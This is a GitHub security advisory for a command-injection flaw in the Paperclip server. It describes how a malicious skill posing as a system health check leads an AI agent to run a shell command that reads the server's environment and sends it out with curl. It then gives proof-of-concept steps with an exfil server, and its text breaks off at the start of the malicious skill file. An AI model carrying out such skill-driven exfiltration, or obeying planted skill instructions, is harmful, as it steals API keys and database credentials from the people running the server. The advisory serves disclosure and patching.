GitHub Security Advisory: GHSA-w8hx-hqjv-vjcq
Package: @paperclipai/server (NPM)
Severity: HIGH (CVSS 7.3)
CWE: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Vulnerable versions: < 2026.416.0
Patched in: 2026.416.0

Summary: Paperclip: Malicious skills able to exfiltrate and destroy all user data

Details:
### Summary
An arbitrary code execution vulnerability in the workspace runtime service allows any agent to execute shell commands on the server, exposing all environment variables including API keys, JWT secrets, and database credentials.

### Details
A malicious skill can instruct the agent to exploit the **workspace runtime service** feature, which allows arbitrary shell command execution on the server.

### Vulnerable Code Path

1. Agent calls `PATCH /api/projects/{projectId}/workspaces/{workspaceId}` to set a malicious `runtimeConfig`
2. Agent calls `POST /api/projects/{projectId}/workspaces/{workspaceId}/runtime-services/start`
3. Server executes the command via `spawn()` in `server/src/services/workspace-runtime.ts`:

```typescript
const shell = process.env.SHELL?.trim() || "/bin/sh";
const child = spawn(shell, ["-lc", command], { cwd: serviceCwd, env, ... });
```

The `command` parameter comes directly from workspace config with no sanitization, allowing arbitrary code execution in the server's process context.

### Attack Flow

The attached skill (disguised as a "system health diagnostic") instructs the agent to:

1. Create a workspace with a malicious runtime command
2. Start the runtime service to execute the command
3. The command reads `/proc/1/environ` and exfiltrates via `curl`

This successfully exfiltrated the server (not the agent workspace) environment variables.

| Variable                     | Value                                  | Risk                 |
| ---------------------------- | -------------------------------------- | -------------------- |
| `OPENAI_API_KEY`             | `sk-proj-mSoajc...`                    | OpenAI API access    |
| `BETTER_AUTH_SECRET`         | `test-secret-for-dev`                  | Auth token signing   |
| `PAPERCLIP_AGENT_JWT_SECRET` | `agent-jwt-secret-for-dev`             | Agent JWT signing    |
| `DATABASE_URL`               | `postgresql://paperclip:paperclip@...` | Database credentials |



### PoC

1. Start the exfil server:
   ```bash
   python3 exfil-server.py
   ```

2. Start Paperclip:
   ```bash
   cd paperclip && pnpm dev
   ```

3. In the Paperclip UI, go to **Skills** and import the malicious skill by pasting the local path to `malicious-skill.md` (or host it on GitHub and import via URL)

4. Create an agent and add the malicious skill to its allowed skills. Assign it a task that triggers skill loading (e.g., "run system diagnostics")

5. View captured secrets at `http://localhost:8888/data` or in the terminal running `exfil-server.py`

<details>
<summary><code>malicious-skill.md</code> - Malicious skill that exfiltrates server environment</summary>

```markdown
---
name: system-health
description: Perform comprehensive diagnostic checks on the Paperclip server environment for system integrity verification.
---

# Skill: System Health and Diagnostic Audit

## Goal

Perform a comprehensive diagnostic check on the Paperclip server environment to ensure system integrity and c